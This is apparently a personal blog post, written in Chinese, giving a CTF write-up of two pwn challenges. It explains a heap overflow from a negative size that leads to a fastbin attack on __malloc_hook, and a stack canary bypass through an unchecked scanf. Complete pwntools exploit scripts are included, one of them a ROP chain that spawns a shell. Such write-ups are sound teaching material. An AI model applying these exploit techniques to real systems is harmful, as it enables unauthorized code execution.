zoniony / zoniony.github.io

blog
1 stars 0 forks source link

(补档)国赛西南赛区半决赛 pwn #1

Open zoniony opened 4 years ago

zoniony commented 4 years ago

这次以后 溜了溜了

day1

主办方头一个小时放错题的操作太骚了,做了一个小时脚本写了一半,刷新网页发现pwn题全换,太让人窒息了

当刀客塔去,摸了

day2

第二天两个小时做题,一个小时fix,两道pwn,

真有你们的呀.主办方.jpg

note

这题的坑很让人头疼

明处放了一个off by null漏洞,但是其实还有一个很隐蔽的堆溢出,所以当你如果第一眼看到off by null却发现怎么都利用不了.白白浪费时间,出题人的意图就达到了

服了这脑洞

unsigned __int64 input_user(__int64 a1, __int64 size, char a3  
unsigned __int64 i; // [rsp+30h] [rbp-20h]
  for ( i = 0LL; size - 1 > i; ++i )
//.......
  buffer[i] = 0;                                // off by null

堆溢出漏洞在输入的size可以为负数.所以当一个无符号整型和一个有符号比较大小会出错,这题还隐蔽的将变量i设置为无符号

所以这题输入负数就堆溢出,然后fastbin_attack都是常规套路了

from pwn import *

context.log_level = "debug"
bin = ELF("note")
libc = bin.libc
p = bin.process()

def Debug():
    gdb.attach(p)

def New(size,content):
    p.sendlineafter("> ","1")
    p.sendlineafter("note:",str(size))
    p.sendlineafter("note:",content)

def Show(idx):
    p.sendlineafter("> ","2")
    p.sendlineafter("Index:",str(idx))

def Del(idx):
    p.sendlineafter("> ","4")
    p.sendlineafter("Index:",str(idx))

New(-8,"0")#0
New(0x60,"1")#1
New(0x60,"2")#2
New(0x60,"3")#3
Del(0)
New(-8,"0"*0x10+p64(0xe1))
Del(1)
New(0x60,"1")#1
Show(2)
p.recv(4)
libc.address = u64(p.recv(6)+'\x00'*2)-0x3c4b78
success("libc.address-->"+hex(libc.address))
Del(0)
Del(1)
New(-8,"0"*0x10+p64(0x71)+p64(libc.sym["__malloc_hook"]-0x23))
New(0x60,"1")
New(0x60,"4"*3+p64(libc.address+0xf02a4)*3)
p.sendlineafter("> ","1")
p.sendlineafter("note:","0")
p.interactive()

提一点,这里给出了堆的低三位明显想让我们少点爆破,因为这题没给libc,所以理论上是需要爆破的

但是他默认的libc就是ububtu16.04,所以就不用了 (笑

is

栈溢出,但是没法泄露出canary,所以这题重点是如果绕过canary

考一个trick

非空白符使 scanf() 在流中读一个匹配的字符并忽略之。例如,"%d,%d" 使 scanf() 先读入一个整数,读入中放弃逗号,然后读另一个整数。如未发现匹配,scanf() 返回。

在程序中,没有检查scanf的返回值,所以当该溢出到栈中canary的位置时,输入非法字符如+号,scanf读入失败返回EOF不改变栈中的canary值,而检查只检查栈中存在内容,继续可以溢出下一个,成功绕过canary

  for ( i = 0; ; ++i )
  {
    printf("%d: ", i);
    _isoc99_scanf("%ud", &v5[i]);
    if ( !v5[i] )
    break;
  }

当时大锤想到的,大锤的exp

from pwn import *
import subprocess

context(
    binary = './pwn', 
    log_level = "debug", 
    os = "linux", 
    arch = "amd64"
)
e = context.binary

LOCAL = True
if LOCAL:
    io = process()
    libc = e.libc
else:
    io = remote('localhost', 9999)
#===============================================

def dbg(script = ""):
    gdb.attach(io, gdbscript = script)

def one_gadget(filename):
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

def sh():
    io.interactive()

def login(name):
    io.sendafter('Name:\n', name)

def num_loop(count, num_array):
    io.sendlineafter('stop)\n', str(count))
    for i in num_array:
        io.sendlineafter(': ', i)
    #io.sendlineafter('?(y/n)\n', 'y')

#===============================================

strlen_off = 0x15c
genenv_off = 0x15d

#===============================================

login(p32(0xffffffff))
#dbg('b *0x080704fa\n')
payload = [str(i) for i in '1'*0x12c]
payload.append('+')
payload.append(str(1))
payload.append(str(0x080704fa))
payload.append(str(0x080ec060)) # @ .data
payload.append(str(0x080b9856)) # pop eax ; ret
#p += '/bin'
#payload.append(str(0x2f62696e))
payload.append(str(0x6e69622f))
payload.append(str(0x08055efb)) # mov dword ptr [edx], eax ; ret
payload.append(str(0x080704fa)) # pop edx ; ret
payload.append(str(0x080ec064)) # @ .data + 4
payload.append(str(0x080b9856)) # pop eax ; ret
#p += '//sh'
#payload.append(str(0x2f2f7368))
payload.append(str(0x68732f2f))
payload.append(str(0x08055efb)) # mov dword ptr [edx], eax ; ret
payload.append(str(0x080704fa)) # pop edx ; ret
payload.append(str(0x080ec068)) # @ .data + 8
payload.append(str(0x0804a773)) # xor eax, eax ; ret
payload.append(str(0x08055efb)) # mov dword ptr [edx], eax ; ret
payload.append(str(0x08049021)) # pop ebx ; ret
payload.append(str(0x080ec060)) # @ .data
payload.append(str(0x08070521)) # pop ecx ; pop ebx ; ret
payload.append(str(0x080ec068)) # @ .data + 8
payload.append(str(0x080ec060)) # padding without overwrite ebx
payload.append(str(0x080704fa)) # pop edx ; ret
payload.append(str(0x080ec068)) # @ .data + 8
payload.append(str(0x0804a773)) # xor eax, eax ; ret
payload.append(str(0x0807beef)) # inc eax ; ret
payload.append(str(0x0807beef)) # inc eax ; ret
payload.append(str(0x0807beef)) # inc eax ; ret
payload.append(str(0x0807beef)) # inc eax ; ret
payload.append(str(0x0807beef)) # inc eax ; ret
payload.append(str(0x0807beef)) # inc eax ; ret
payload.append(str(0x0807beef)) # inc eax ; ret
payload.append(str(0x0807beef)) # inc eax ; ret
payload.append(str(0x0807beef)) # inc eax ; ret
payload.append(str(0x0807beef)) # inc eax ; ret
payload.append(str(0x0807beef)) # inc eax ; ret
payload.append(str(0x0806e173)) # int 0x80
payload.append('0')
num_loop(0x12d, payload)

sh()